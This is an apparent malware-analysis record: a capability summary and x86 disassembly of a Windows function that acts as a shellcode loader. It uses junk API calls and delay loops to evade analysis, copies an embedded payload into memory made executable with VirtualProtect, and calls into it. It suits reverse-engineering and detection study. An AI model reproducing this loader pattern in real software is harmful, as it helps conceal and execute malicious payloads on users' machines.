Function at 0x405380
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Read file on windows
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.0040f3d0
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp esi, 0xfa62c8f
jge 0x4053d4
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x4053e5
inc esi
cmp esi, 0x67d12
jl 0x40539e
mov eax, dword [0x5e7654]
cmp eax, 0x93
jne 0x4054c0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor eax, eax
lock bts dword [eax], 0
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0x404dd8
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0
call fcn.00406084
add esp, 4
push 0
push 0
push 0
push 0
call fcn.00406623
add esp, 8
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004066a0
fstp st(0)
add esp, 8
lea ecx, [ebp - 0x18]
call fcn.004060ac
lea ecx, [ebp - 0x18]
call fcn.004060e8
push 0
call fcn.004063b8
add esp, 4
push 0
call fcn.004063ce
add esp, 4
push 0
push 0
call fcn.0040606d
push 0
push 0
call fcn.00406673
add esp, 0x10
push 0
call fcn.00406aea
mov ecx, dword [0x444c64]
add eax, 0x1134b
push eax
push 0
mov dword [0x5e8490], ecx
mov dword [0x5e7654], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x5e7654]
lea edx, [ebp - 8]
push edx
push 0x40
push ecx
push eax
mov dword [0x5e70e4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_LoadMenuW]
mov ebx, dword [sym.imp.USER32.dll_CharUpperW]
mov esi, 0x1692e
lea esp, [esp]
push 0
push 0
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x405510
cmp dword [0x5e7654], esi
jbe 0x40558c
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
mov edx, dword [0x5e8490]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x5e70e4]
mov byte [ecx + esi], al
cmp dword [0x5e7654], 0x490
jne 0x405583
push 0
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea edx, [ebp - 4]
push edx
push 0
lea eax, [ebp - 0x20]
push eax
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
inc esi
cmp esi, dword [0x5e7654]
jb 0x405537
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.USER32.dll_SetMenu]
xor esi, esi
mov ecx, dword [0x5e7654]
add ecx, esi
cmp ecx, 0x8d
jne 0x4055dc
push 0
lea edx, [ebp - 0x820]
push edx
push 0
push 0x404dbc
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x40559a
call fcn.00405260
xor edi, edi
xor esi, esi
mov edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x40560f
mov dword [ebp - 4], edi
add dword [ebp - 4], 0xf200
mov eax, dword [ebp - 4]
add dword [0x5e70e4], eax
inc esi
cmp esi, 0x674bd
jl 0x4055f0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalWire]
mov dword [ebp - 4], 0x7b
cmp dword [0x5e7654], 0x86
jne 0x40567a
push 0
call esi
push 0
lea ecx, [ebp - 0x1020]
push ecx
push 0x404dc4
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea edx, [ebp - 0x420]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
cmp dword [0x5e7654], 0xf
jne 0x405691
push 0
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 4]
jne 0x405631
push 0x404e2c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x5e70e4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret